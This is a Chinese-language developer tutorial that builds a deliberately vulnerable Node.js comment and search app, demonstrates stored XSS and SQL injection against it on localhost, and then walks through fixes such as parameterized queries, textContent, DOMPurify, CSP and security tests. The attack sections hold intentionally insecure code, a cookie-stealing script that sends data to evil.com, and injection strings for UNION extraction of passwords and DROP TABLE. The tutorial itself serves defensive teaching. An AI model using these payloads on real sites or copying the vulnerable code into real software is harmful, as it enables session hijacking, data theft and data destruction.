LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

为什么XSS和SQL注入在你的代码里反复出现?一个Demo让你彻底搞懂

admin
2025年12月23日 9:10 本文热度 902

说实话,以前我也觉得XSS和SQL注入就是那种"理论上很危险,实际中碰不到"的漏洞。毕竟用了那么多ORM框架,写的都是React组件,这些古老的安全问题应该早就被现代工具链解决了吧?

直到有一天,我在review一个电商项目的代码时,发现了这段看起来"人畜无害"的代码:

// 商品评论渲染逻辑
const CommentList = ({ comments }) => {
  return comments.map(comment => (
    <div key={comment.id}>
      <strong>{comment.author}</strong>
      <div dangerouslySetInnerHTML={{ __html: comment.content }} />
    </div>

  ));
};

这代码有问题吗?当然有。但如果你现在还看不出来问题在哪,说明你需要好好看完这篇文章了。

那天我花了半小时搭了个最简单的全栈demo,把这个漏洞从提交到触发到修复的完整流程跑了一遍。看着自己精心构造的payload在浏览器里执行,看着一条SQL注入把整个数据库的内容都泄露出来,那种"原来如此"的感觉,比看一百张PPT都有用。

今天我把这个demo的完整过程分享给你,从最容易踩坑的代码写起,到真实的攻击演示,再到正确的修复方案。你不需要有什么安全背景,只需要跟着动手实践一遍,就能在脑子里建立起一套完整的防御体系。

一、为什么要搭建这个Demo?

1.1 纸上谈兵的困境

你可能在各种教程里见过类似的警告:

  • "永远不要相信用户输入"
  • "使用参数化查询防止SQL注入"
  • "避免innerHTML,使用textContent"

但这些规则为什么存在?不遵守会发生什么?这些问题如果没有亲眼看到,很难真正理解。

就像学游泳,看一百遍教学视频,不如下水扑腾一次。安全漏洞也是一样的道理。

1.2 Demo的设计思路

我设计了一个最小化的全栈应用,包含:

  • 后端: Node.js + Express + PostgreSQL (也支持SQLite)
  • 前端: 原生HTML + JavaScript (或者React)
  • 功能: 一个简单的评论系统 + 管理员搜索面板

为什么选这个场景?因为它覆盖了两个最常见的攻击入口:

  1. 用户输入的内容被存储到数据库,然后渲染给其他用户 → 存储型XSS
  2. 用户输入被直接拼接到SQL语句中 → SQL注入

这个场景在实际项目中随处可见:微博评论、论坛帖子、工单系统、博客留言...基本上所有UGC(用户生成内容)相关的功能都存在这个风险。

1.3 攻击流程全景图

在深入代码之前,先看一下完整的攻击链路:

┌─────────────────────────────────────────────────────────────┐
│  第1步: 攻击者提交恶意内容                                      │
│  POST /comments                                              │
│  { author: "黑客", content: "<script>恶意代码</script>" }      │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第2步: 后端未做校验,直接拼接SQL                                │
│  SQL: INSERT INTO comments VALUES ('黑客''<script>...')    │
│  ⚠️ 漏洞点: 没有参数化查询                                      │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第3步: 恶意数据原封不动存入数据库                                │
│  comments表: id=1, content="<script>恶意代码</script>"         │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第4步: 正常用户访问页面                                         │
│  GET /comments → 返回包含恶意内容的数据                          │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第5步: 前端用innerHTML渲染                                     │
│  div.innerHTML = '<script>恶意代码</script>'                  │
│  ⚠️ 漏洞点: 用户内容被当作HTML执行                               │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第6步: 恶意脚本在受害者浏览器中执行                               │
│  - 窃取cookie/localStorage                                   │
│  - 发起钓鱼攻击                                                │
│  - 传播蠕虫                                                   │
└─────────────────────────────────────────────────────────────┘

这整个链路,任何一个环节做好防御都能阻断攻击。但实际项目中,往往是每个环节都有漏洞,层层叠加,最终酿成大祸。

二、漏洞代码实战:后端篇

2.1 最危险的SQL拼接

下面是一个典型的"教科书级"漏洞代码:

// app.js - 后端接口(⚠️ 漏洞代码,仅用于演示)
const express = require('express');
const bodyParser = require('body-parser');
const { Client } = require('pg');

const app = express();
app.use(bodyParser.json());

const client = new Client({
connectionString: process.env.DATABASE_URL || 'postgres://localhost:5432/demo',
});
client.connect();

// 初始化数据表
asyncfunction init({
await client.query(`
    CREATE TABLE IF NOT EXISTS comments (
      id SERIAL PRIMARY KEY,
      author TEXT,
      content TEXT,
      created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
    );
  `
);
}
init();

// ⚠️ 漏洞点1: 保存评论 - 字符串拼接SQL
app.post('/comments'async (req, res) => {
const { author, content } = req.body;

// 危险! 直接把用户输入拼接到SQL语句里
const sql = `INSERT INTO comments (author, content) 
               VALUES ('${author}', '${content}') 
               RETURNING id`
;

try {
    const result = await client.query(sql);
    res.json({ id: result.rows[0].id });
  } catch (err) {
    console.error('数据库错误:', err);
    res.status(500).send('保存失败');
  }
});

// 获取评论列表
app.get('/comments'async (req, res) => {
const result = await client.query(
    'SELECT id, author, content FROM comments ORDER BY id DESC LIMIT 50'
  );
  res.json(result.rows);
});

// ⚠️ 漏洞点2: 管理员搜索 - 直接拼接查询条件
app.get('/admin/search'async (req, res) => {
const q = req.query.q || '';

// 危险! 用户输入直接插入到ILIKE条件中
const sql = `SELECT id, author, content FROM comments 
               WHERE content ILIKE '%${q}%' 
               LIMIT 100`
;

const result = await client.query(sql);
  res.json(result.rows);
});

app.listen(3000, () => console.log('服务运行在 http://localhost:3000'));

2.2 为什么这段代码有问题?

你可能会想:"我只是拼接了一下字符串,能有多大问题?"

让我用一个类比来解释:SQL语句就像是给数据库下达的命令,而字符串拼接相当于你把"命令"和"数据"混在一起,数据库分不清哪部分是你的指令,哪部分是用户的输入。

看看SQL注入是如何发生的:

正常查询:
┌──────────────────────────────────────────────────────┐
│ 你的SQL模板: WHERE content ILIKE '%[用户输入]%'        │
│ 用户输入: "React教程"                                  │
│ 拼接结果: WHERE content ILIKE '%React教程%'            │
│ 执行效果: ✅ 正常搜索包含"React教程"的评论               │
└──────────────────────────────────────────────────────┘

恶意注入:
┌──────────────────────────────────────────────────────┐
│ 你的SQL模板: WHERE content ILIKE '%[用户输入]%'        │
│ 用户输入: "' OR '1'='1"                                │
│ 拼接结果: WHERE content ILIKE '%' OR '1'='1%'          │
│                                     ↑                 │
│                          SQL语句被改变了!               │
│ 数据库理解为:                                          │
│   - content ILIKE '%'  ← 总是匹配                      │
│   - OR                 ← 逻辑或                        │
│   - '1'='1'            ← 永远为真                      │
│ 执行效果: ❌ 返回所有数据,绕过了查询条件                   │
└──────────────────────────────────────────────────────┘

更危险的注入:
┌──────────────────────────────────────────────────────┐
│ 你的SQL模板: INSERT INTO comments VALUES ('[用户输入]')│
│ 用户输入: "'); DROP TABLE comments; --"                │
│ 拼接结果: INSERT INTO comments VALUES ('');            │
│          DROP TABLE comments;                         │
│          --')                                          │
│                                                       │
│ 数据库依次执行:                                         │
│   1. INSERT INTO comments VALUES ('
');   ← 插入空记录  │
│   2. DROP TABLE comments;                ← 删除表!     │
│   3. --'
)                                ← 注释掉剩余   │
│ 执行效果: 💥 整张表被删除                                │
└──────────────────────────────────────────────────────┘

这就导致WHERE条件永远成立,返回所有数据!

2.3 更狠的注入示例

如果攻击者输入: '; DROP TABLE comments; --

拼接后:

INSERT INTO comments (author, contentVALUES ('hacker'''); 
DROP TABLE comments; 
-- ')

数据库会依次执行:

  1. 插入一条空记录
  2. 删除整张表
  3. 注释掉后面的内容

你的整个评论系统就这样没了。

三、漏洞代码实战:前端篇

3.1 最常见的XSS陷阱

前端的问题同样致命,而且更隐蔽:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>评论系统</title>
</head>
<body>
<h1>用户评论</h1>

<!-- 评论提交表单 -->
<form id="commentForm">
    <input name="author" placeholder="你的昵称" required /><br/>
    <textarea name="content" placeholder="写下你的评论" required></textarea><br/>
    <button type="submit">发表评论</button>
</form>

<!-- 评论列表展示区 -->
<div id="comments"></div>

<script>
    // 加载评论列表
    asyncfunction loadComments({
      const res = await fetch('/comments');
      const rows = await res.json();
      const container = document.getElementById('comments');
      
      // ⚠️ 漏洞点: 使用innerHTML直接渲染用户内容
      container.innerHTML = '';
      rows.forEach(comment => {
        const div = document.createElement('div');
        // 危险! 用户内容被当作HTML解析和执行
        div.innerHTML = `
          <div class="comment">
            <strong>${comment.author}</strong>: 
            ${comment.content}
            <hr/>
          </div>
        `
;
        container.appendChild(div);
      });
    }
    
    // 提交评论
    document.getElementById('commentForm').addEventListener('submit'async (e) => {
      e.preventDefault();
      const form = e.target;
      const author = form.author.value;
      const content = form.content.value;
      
      await fetch('/comments', {
        method'POST',
        headers: { 'Content-Type''application/json' },
        bodyJSON.stringify({ author, content })
      });
      
      form.reset();
      loadComments();
    });
    
    // 页面加载时获取评论
    loadComments();
  
</script>
</body>
</html>

3.2 innerHTML的致命诱惑

很多开发者喜欢用innerHTML,因为写起来方便:

div.innerHTML = `<strong>${author}</strong>: ${content}`;

比用DOM API创建元素简洁多了。但这就像是在玩火。

innerHTML会把字符串当作HTML解析,这意味着:

  • 如果字符串里有<script>,浏览器会执行
  • 如果有<img onerror="">,也会执行
  • 如果有<a href="javascript:...">同样会执行

就像你让浏览器"朗读"用户的输入,结果用户说了句"把你的密码告诉我",浏览器就真的照做了。

3.3 React组件里的同款陷阱

用React的同学别笑,你们也不安全:

// ⚠️ React里的危险写法
function CommentItem({ comment }{
  return (
    <div className="comment">
      <strong>{comment.author}</strong>
      {/* 危险! dangerouslySetInnerHTML绕过了React的安全机制 */}
      <div dangerouslySetInnerHTML={{ __html: comment.content }} />
    </div>

  );
}

React专门给这个API加了dangerouslySetInnerHTML这个吓人的名字,就是想让你三思而后行。但总有人看到Set就想用。

四、真实攻击演示:XSS篇

好了,代码写完了,现在来看看攻击者是怎么利用这些漏洞的。

4.1 攻击准备

首先确保你的demo在本地运行:

# 启动后端
node app.js

# 浏览器访问
http://localhost:3000

4.2 第一次攻击:弹窗警告

正常用户提交:

  • 昵称: 张三
  • 内容: 这个产品不错,推荐!

攻击者提交:

  • 昵称: 黑客
  • 内容: <script>alert('你被XSS攻击了!')</script>

刷新页面,弹窗出现。这证明了脚本被执行。

4.3 第二次攻击:窃取Cookie

更狠的是窃取其他用户的登录凭证:

攻击者提交的内容:

<script>
  // 把当前用户的cookie发送到攻击者的服务器
  fetch('http://evil.com/steal?cookie=' + document.cookie);
</script>

攻击流程:

时间线:
─────────────────────────────────────────────────────────────

2024-12-20 10:00  攻击者发布恶意评论
    ↓
    ┌──────────────────────────────────────────────┐
    │ POST /comments                                │
    │ {                                            │
    │   author: "黑客",                             │
    │   content: "<script>恶意代码</script>"         │
    │ }                                            │
    └────────────┬─────────────────────────────────┘
                 ↓
    ┌──────────────────────────────────────────────┐
    │ 数据库存储                                     │
    │ comments表: id=99                             │
    │ content: "<script>fetch('evil.com')</script>" │
    └────────────┬─────────────────────────────────┘
                 ↓
2024-12-20 14:30  普通用户A访问评论页面
    ↓
    ┌──────────────────────────────────────────────┐
    │ 用户A浏览器                                    │
    │ 1. GET /comments                              │
    │ 2. 收到包含恶意脚本的数据                       │
    │ 3. innerHTML渲染 ← ⚠️ 关键漏洞点               │
    │ 4. 恶意脚本在A的浏览器里执行                    │
    │ 5. A的cookie被发送到evil.com                  │
    └────────────┬─────────────────────────────────┘
                 ↓
    ┌──────────────────────────────────────────────┐
    │ 攻击者服务器 evil.com                          │
    │ 收到: cookie=sessionId=abc123...              │
    │ 现在攻击者可以:                                │
    │ ├─ 伪装成用户A登录                             │
    │ ├─ 查看A的订单/隐私信息                        │
    │ ├─ 以A的身份发帖/下单                          │
    │ └─ 修改A的账号设置                             │
    └──────────────────────────────────────────────┘

2024-12-20 15:00  用户B也访问了评论页面
    ↓
    同样被攻击... (循环往复)

攻击者可以持续窃取所有访问该页面的用户cookie
这就是"存储型XSS"的可怕之处

4.4 验证攻击效果

为了观察cookie被盗,我们可以开一个简单的服务器:

# 在另一个终端运行,监听端口9999
python3 -m http.server 9999

或者用Node.js:

// steal-server.js - 用于演示cookie被盗
const http = require('http');
const url = require('url');

http.createServer((req, res) => {
  const query = url.parse(req.url, true).query;
  console.log('🚨 窃取到的cookie:', query.cookie);
  res.end('OK');
}).listen(9999, () => {
  console.log('攻击监听服务器运行在 http://localhost:9999');
});

修改攻击payload:

<script>
  fetch('http://localhost:9999/steal?cookie=' + document.cookie)
    .then(() => console.log('Cookie已发送'));
</script>

现在打开另一个浏览器(或隐身窗口),访问http://localhost:3000,你会在监听服务器看到被盗的cookie。

4.5 为什么这么危险?

很多人觉得"不就是个弹窗吗,有啥大不了"。但实际上:

  • 会话劫持: 拿到cookie就能伪装成用户登录
  • 钓鱼攻击: 可以伪造登录框窃取密码
  • 蠕虫传播: 脚本可以自动替用户发表更多恶意评论
  • 键盘监听: 记录用户的所有键盘输入
  • 挖矿脚本: 让访问者的电脑帮攻击者挖矿

2018年的英国航空数据泄露事件,就是因为网站被注入了恶意JavaScript,导致38万用户的信用卡信息被盗,英航被罚款2亿英镑。

五、真实攻击演示:SQL注入篇

5.1 探测数据库

攻击者首先会尝试探测数据库的行为:

访问管理员搜索接口:

GET /admin/search?q=test

正常返回。

现在试试加个单引号:

GET /admin/search?q=test'

如果返回错误,说明SQL语句被破坏了,存在注入点。

5.2 绕过查询限制

访问:

GET /admin/search?q=' OR '1'='1

拼接后的SQL:

SELECT id, author, content FROM comments 
WHERE content ILIKE '%' OR '1'='1%' 
LIMIT 100

因为'1'='1'永远为真,所以WHERE条件永远满足,返回所有评论。

5.3 提取敏感信息

PostgreSQL支持UNION查询,攻击者可以这样:

GET /admin/search?q=' UNION SELECT id, username, password FROM users --

拼接后:

SELECT id, author, content FROM comments 
WHERE content ILIKE '%' UNION SELECT id, username, password FROM users --%' 
LIMIT 100

--是SQL注释符,会注释掉后面的内容。这样攻击者就能查询到users表的数据。

5.4 数据库破坏

最极端的情况:

GET /admin/search?q='; DROP TABLE comments; --

虽然在这个demo里可能不会真的执行(取决于数据库配置),但原理上是可行的。

5.5 SQL注入的危害

真实案例:

  • 索尼PlayStation Network(2011): 7700万用户数据泄露
  • Yahoo(2012): 45万用户密码泄露
  • 某国内P2P平台(2018): 用户投资记录被全部导出

一次SQL注入,可能导致:

  • 整个数据库被下载
  • 管理员账号被创建
  • 数据被加密勒索
  • 服务器被完全控制

六、正确的修复方案:后端防御

6.1 参数化查询:根本解决方案

最关键的修复:把SQL和数据分离。

修复前(危险):

const sql = `INSERT INTO comments (author, content) VALUES ('${author}', '${content}')`;
client.query(sql);

修复后(安全):

const sql = 'INSERT INTO comments (author, content) VALUES ($1, $2) RETURNING id';
const result = await client.query(sql, [author, content]);

PostgreSQL用$1$2作为占位符,MySQL用?,原理都一样。

6.2 为什么参数化查询安全?

参数化查询的执行过程:

传统拼接方式 (不安全):
┌────────────────────────────────────────────────────┐
│ 步骤1: 构造完整SQL字符串                             │
│   "SELECT * FROM users WHERE name = '" + input + "'"
│                                                    │
│ 步骤2: 把整个字符串发给数据库                         │
│   数据库看到: SELECT * FROM users WHERE name = '...' │
│                                                    │
│ 步骤3: 数据库解析并执行                              │
│   ⚠️ 问题: 数据库会把input里的SQL命令也当作指令执行  │
└────────────────────────────────────────────────────┘

参数化查询 (安全):
┌────────────────────────────────────────────────────┐
│ 步骤1: 先发送SQL结构(只有占位符)                      │
│   "SELECT * FROM users WHERE name = $1"            │
│   数据库预编译: 知道这里只有1个参数位置               │
│                                                    │
│ 步骤2: 分别发送参数值                                │
│   参数: [用户输入]                                   │
│   数据库接收到: 这是数据,不是SQL命令                  │
│                                                    │
│ 步骤3: 数据库把参数当作纯数据填入                      │
│   ✅ 即使参数是 "'; DROP TABLE users; --"           │
│   也只是被当作字符串,不会被解析成SQL                  │
└────────────────────────────────────────────────────┘

对比图解:
字符串拼接:
  你的SQL ──┐
           ├─→ 混在一起 ──→ 数据库无法区分 ──→ 💥 注入成功
  用户输入 ──┘

参数化查询:
  SQL结构 ──→ 数据库先解析 ──→ 知道参数位置
                              ↓
  用户输入 ──→ 作为纯数据填入 ──→ ✅ 无法改变SQL结构

即使用户输入'; DROP TABLE users; --,也只是被当作普通字符串存入content字段,不会执行。

6.3 完整的后端修复代码

// app.js - 修复后的安全版本 ✅
const express = require('express');
const bodyParser = require('body-parser');
const { Client } = require('pg');
const { z } = require('zod'); // 输入验证库

const app = express();
app.use(bodyParser.json());

const client = new Client({
connectionString: process.env.DATABASE_URL || 'postgres://localhost:5432/demo',
});
client.connect();

// 输入验证schema
const commentSchema = z.object({
author: z.string().min(1).max(100),
content: z.string().min(1).max(2000),
});

// ✅ 修复后: 使用参数化查询
app.post('/comments'async (req, res) => {
// 第一层防御: 输入验证
const parse = commentSchema.safeParse(req.body);
if (!parse.success) {
    return res.status(400).json({ error'输入格式不正确'details: parse.error });
  }

const { author, content } = parse.data;

// 第二层防御: 参数化查询
const sql = 'INSERT INTO comments (author, content) VALUES ($1, $2) RETURNING id';

try {
    const result = await client.query(sql, [author, content]);
    res.json({ id: result.rows[0].id });
  } catch (err) {
    console.error('数据库错误:', err);
    res.status(500).send('保存失败');
  }
});

// ✅ 修复后: 搜索功能也用参数化
app.get('/admin/search'async (req, res) => {
const q = req.query.q || '';

// 参数化查询,用户输入只能是数据,不能是SQL命令
const sql = 'SELECT id, author, content FROM comments WHERE content ILIKE $1 LIMIT 100';
const result = await client.query(sql, [`%${q}%`]);

  res.json(result.rows);
});

// 安全Headers
app.use((req, res, next) => {
// CSP: 限制脚本来源
  res.setHeader('Content-Security-Policy'"default-src 'self'; script-src 'self'");
// 防止点击劫持
  res.setHeader('X-Frame-Options''DENY');
// 防止MIME类型嗅探
  res.setHeader('X-Content-Type-Options''nosniff');
  next();
});

app.listen(3000, () => console.log('安全服务运行在 http://localhost:3000'));

6.4 ORM框架也要注意

很多人觉得用了ORM就安全了,但要小心原生SQL:

Sequelize - 不安全写法:

// ⚠️ 危险
await sequelize.query(`SELECT * FROM users WHERE name = '${name}'`);

Sequelize - 安全写法:

// ✅ 安全
await sequelize.query('SELECT * FROM users WHERE name = ?', {
  replacements: [name],
  type: QueryTypes.SELECT
});

// ✅ 或者用ORM方法
await User.findAll({ where: { name } });

TypeORM - 安全写法:

// ✅ 使用QueryBuilder
await getRepository(User)
  .createQueryBuilder('user')
  .where('user.name = :name', { name })
  .getMany();

Prisma - 天生安全:

// ✅ Prisma不允许字符串拼接,强制参数化
await prisma.user.findMany({
  where: { name }
});

七、正确的修复方案:前端防御

7.1 避免innerHTML:使用DOM API

修复前(危险):

div.innerHTML = `<strong>${comment.author}</strong>: ${comment.content}`;

修复后(安全):

// 使用textContent,内容会被当作纯文本处理
const strong = document.createElement('strong');
strong.textContent = comment.author;  // 纯文本,不会被解析

const text = document.createTextNode(': ' + comment.content);  // 纯文本

div.appendChild(strong);
div.appendChild(text);

7.2 如果必须支持富文本怎么办?

有时候确实需要允许用户输入HTML(比如富文本编辑器),这时候要用专业的清洗库:

import DOMPurify from 'dompurify';

// ✅ 清洗HTML,只允许安全的标签和属性
const clean = DOMPurify.sanitize(comment.content, {
  ALLOWED_TAGS: ['b''i''em''strong''a''p''br'],
  ALLOWED_ATTR: ['href']
});

div.innerHTML = clean;

DOMPurify会移除所有危险内容:

  • <script>标签
  • onclickonerror等事件处理器
  • javascript:协议的链接
  • <iframe><object>等嵌入标签

7.3 完整的前端修复代码

// ✅ 安全的评论渲染逻辑
asyncfunction loadComments({
const res = await fetch('/comments');
const rows = await res.json();
const container = document.getElementById('comments');

  container.innerHTML = ''// 清空容器

  rows.forEach(comment => {
    const commentDiv = document.createElement('div');
    commentDiv.className = 'comment';
    
    // 作者名 - 使用textContent
    const authorEl = document.createElement('strong');
    authorEl.textContent = comment.author;
    
    // 评论内容 - 使用textContent
    const contentEl = document.createElement('div');
    contentEl.textContent = comment.content;
    
    commentDiv.appendChild(authorEl);
    commentDiv.appendChild(document.createTextNode(': '));
    commentDiv.appendChild(contentEl);
    commentDiv.appendChild(document.createElement('hr'));
    
    container.appendChild(commentDiv);
  });
}

7.4 React组件的正确写法

// ✅ React安全写法
function CommentItem({ comment }{
return (
    <div className="comment">
      {/* React默认会转义,这是安全的 */}
      <strong>{comment.author}</strong>: {comment.content}
      <hr />
    </div>

  );
}

// 如果必须支持富文本
import DOMPurify from'dompurify';

function RichComment({ comment }{
const cleanContent = DOMPurify.sanitize(comment.content, {
    ALLOWED_TAGS: ['b''i''em''strong''a'],
    ALLOWED_ATTR: ['href']
  });

return (
    <div className="comment">
      <strong>{comment.author}</strong>
      <div dangerouslySetInnerHTML={{ __html: cleanContent }} />
    </div>

  );
}

7.5 设置安全响应头

在后端设置HTTP安全头:

app.use((req, res, next) => {
// Content Security Policy - 只允许同源脚本
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; object-src 'none';"
  );

// 防止点击劫持
  res.setHeader('X-Frame-Options''DENY');

// 防止MIME嗅探
  res.setHeader('X-Content-Type-Options''nosniff');

// Cookie安全设置
  res.cookie('sessionId', token, {
    httpOnlytrue,   // JavaScript无法访问
    securetrue,     // 只在HTTPS下传输
    sameSite'strict'// 防止CSRF
  });

  next();
});

八、深度防御:多层防护体系

光修复代码还不够,要建立完整的防御体系:

用户请求
    ↓
┌─────────────────────────────────────────────────────┐
│ 第1层: WAF防火墙 (CloudFlare/阿里云)                   │
│ ├─ 阻止明显的攻击特征                                  │
│ ├─ 限流防止暴力扫描                                    │
│ └─ IP黑名单                                          │
└────────────────┬────────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────────┐
│ 第2层: 输入验证 (Zod/Joi/Yup)                         │
│ ├─ 类型检查                                          │
│ ├─ 长度限制                                          │
│ ├─ 格式校验                                          │
│ └─ 字符白名单                                         │
└────────────────┬────────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────────┐
│ 第3层: SQL参数化查询 (PostgreSQL/$1/$2)                │
│ ├─ 数据和命令分离                                      │
│ ├─ 自动转义特殊字符                                    │
│ └─ 防止SQL结构被改变                                   │
└────────────────┬────────────────────────────────────┘
                 ↓
         数据存入数据库
                 ↓
┌─────────────────────────────────────────────────────┐
│ 第4层: 输出编码/转义 (textContent/DOMPurify)           │
│ ├─ 使用textContent而非innerHTML                       │
│ ├─ HTML实体编码                                       │
│ └─ 富文本白名单清洗                                     │
└────────────────┬────────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────────┐
│ 第5层: CSP安全头                                       │
│ ├─ 限制脚本来源                                        │
│ ├─ 禁止内联脚本                                        │
│ └─ 违规上报                                           │
└────────────────┬────────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────────┐
│ 第6层: Cookie安全配置                                  │
│ ├─ HttpOnly: JS无法访问                               │
│ ├─ Secure: 仅HTTPS传输                                │
│ └─ SameSite: 防CSRF                                   │
└────────────────┬────────────────────────────────────┘
                 ↓
┌─────────────────────────────────────────────────────┐
│ 第7层: 监控与告警                                       │
│ ├─ 记录SQL异常                                         │
│ ├─ CSP违规报告                                         │
│ ├─ 异常流量分析                                        │
│ └─ 实时告警通知                                        │
└─────────────────────────────────────────────────────┘

任何一层被突破,下一层继续防御
多层叠加,安全性指数级提升

8.1 输入验证:第一道防线

使用Zod、Joi或Yup验证输入:

import { z } from'zod';

const commentSchema = z.object({
author: z.string()
    .min(1'昵称不能为空')
    .max(100'昵称太长')
    .regex(/^[a-zA-Z0-9\u4e00-\u9fa5]+$/'昵称只能包含中英文和数字'),

content: z.string()
    .min(1'内容不能为空')
    .max(2000'内容太长')
});

app.post('/comments'async (req, res) => {
const validation = commentSchema.safeParse(req.body);

if (!validation.success) {
    return res.status(400).json({
      error'输入验证失败',
      details: validation.error.flatten()
    });
  }

// 继续处理...
});

8.2 内容安全策略(CSP)

CSP是浏览器级别的防护,即使XSS绕过了前面的防御,CSP也能阻止执行:

// 严格的CSP配置
res.setHeader('Content-Security-Policy'`
  default-src 'self';
  script-src 'self' 'nonce-${scriptNonce}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
`
);

配合nonce使用:

<script nonce="随机生成的nonce值">
  // 只有带正确nonce的脚本才能执行
</script>

8.3 自动化测试

写测试防止回归:

// comment.test.js
describe('评论安全测试', () => {
  it('应该阻止XSS攻击'async () => {
    const malicious = '<script>alert(1)</script>';
    
    const res = await request(app)
      .post('/comments')
      .send({ author'test'content: malicious });
    
    expect(res.status).toBe(200);
    
    // 获取评论
    const comments = await request(app).get('/comments');
    const saved = comments.body.find(c => c.content.includes('script'));
    
    // 内容应该被转义或清洗,而不是原样保存
    expect(saved.content).not.toContain('<script>');
  });

  it('应该阻止SQL注入'async () => {
    const malicious = "'; DROP TABLE comments; --";
    
    const res = await request(app)
      .get(`/admin/search?q=${encodeURIComponent(malicious)}`);
    
    expect(res.status).toBe(200);
    
    // 表应该仍然存在
    const comments = await request(app).get('/comments');
    expect(comments.status).toBe(200);
  });
});

8.4 静态代码分析

用工具自动检测危险代码:

# .semgrep.yml
rules:
-id:dangerous-innerhtml
    pattern:|
      $EL.innerHTML = $VAL
    message:"禁止使用innerHTML,请用textContent或DOMPurify"
    languages:[javascript]
    severity:ERROR
    
-id:sql-concatenation
    pattern:|
      client.query("..." + $X + "...")
    message:"禁止SQL字符串拼接,请使用参数化查询"
    languages:[javascript]
    severity:ERROR

集成到CI/CD:

# .github/workflows/security.yml
name:SecurityCheck
on:[push,pull_request]
jobs:
semgrep:
    runs-on:ubuntu-latest
    steps:
      -uses:actions/checkout@v2
      -uses:returntocorp/semgrep-action@v1

九、实战检查清单

如果你有一个现成的项目,立即按这个清单检查:

后端检查

  • [ ] 所有数据库查询都用参数化查询,没有字符串拼接
  • [ ] 使用ORM时避免原生SQL,或者正确使用参数绑定
  • [ ] 所有用户输入都经过验证(Zod/Joi/Yup)
  • [ ] 敏感API有权限校验
  • [ ] 错误信息不暴露SQL结构或内部逻辑
  • [ ] 生产环境关闭详细错误输出

前端检查

  • [ ] 搜索代码中的innerHTMLdangerouslySetInnerHTMLeval
  • [ ] 所有用户内容用textContent渲染,或者用DOMPurify清洗
  • [ ] 富文本编辑器配置了白名单
  • [ ] 没有用evalnew Function执行动态代码
  • [ ] 外部链接使用rel="noopener noreferrer"

HTTP安全头

  • [ ] 设置了Content-Security-Policy
  • [ ] Cookie标记了HttpOnlySecureSameSite
  • [ ] 设置了X-Frame-Options
  • [ ] 设置了X-Content-Type-Options

自动化

  • [ ] CI集成了Semgrep或CodeQL
  • [ ] 有针对XSS和SQLi的自动化测试
  • [ ] 依赖库定期更新(Dependabot)
  • [ ] 生产环境有WAF防护

监控

  • [ ] 记录可疑的SQL错误
  • [ ] 监控CSP violation报告
  • [ ] 有异常流量告警机制

十、为什么Demo比PPT有用100倍?

回到开头的问题:为什么亲手搭建Demo这么重要?

因为它建立了一种肌肉记忆。当你:

  1. 写出漏洞代码 → 你知道哪些写法是危险的
  2. 执行攻击payload → 你看到了真实的破坏力
  3. 观察攻击过程 → 你理解了攻击链路
  4. 修复并验证 → 你掌握了正确的做法

这个过程就像是给大脑装了一个"安全警报器"。以后你再看到类似的代码,不用思考,直觉就会告诉你"这里有问题"。

我见过太多开发者能背出"不要用innerHTML",但一写代码还是会用,因为他们没有亲眼看到恶意脚本在浏览器里执行,没有亲手修复过这类问题。

真实案例的启示

2021年,某国内大型社交平台因为一个存储型XSS漏洞,被黑客植入了挖矿脚本,影响了数百万用户。事后复盘发现,漏洞代码非常简单,就是一个innerHTML的滥用。

如果当时负责这个模块的开发者,曾经亲手做过类似的demo,亲眼看到XSS的危害,这个低级错误几乎不可能发生。

学习建议

如果你是:

前端开发者:

  1. 搭建这个demo,尝试各种XSS payload
  2. 学习DOMPurify的配置
  3. 理解CSP的工作原理

后端开发者:

  1. 搭建这个demo,尝试各种SQL注入
  2. 学习你所用ORM的参数化查询
  3. 掌握输入验证最佳实践

全栈开发者:

  1. 完整跑一遍攻防流程
  2. 建立端到端的防御体系
  3. 写自动化测试覆盖安全场景

结语

XSS和SQL注入不是什么高深的黑客技术,它们的原理非常简单:你把数据当作代码执行了

  • SQL注入 = 把用户输入当作SQL命令执行
  • XSS = 把用户输入当作JavaScript代码执行

防御方案也很简单:严格区分数据和代码

  • 后端: 用参数化查询,让数据只能是数据
  • 前端: 用textContent或清洗,让内容不能变成代码

但"知道"和"做到"之间有巨大的鸿沟。搭建一个demo,动手实践,是跨越这个鸿沟的最佳方式。

花半小时搭建这个demo,跑一遍攻击和防御流程,会比看十篇教程更有用。

因为安全不是背会几个规则,而是要在每一行代码里都保持警惕。


阅读原文:原文链接


该文章在 2025/12/23 10:39:36 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved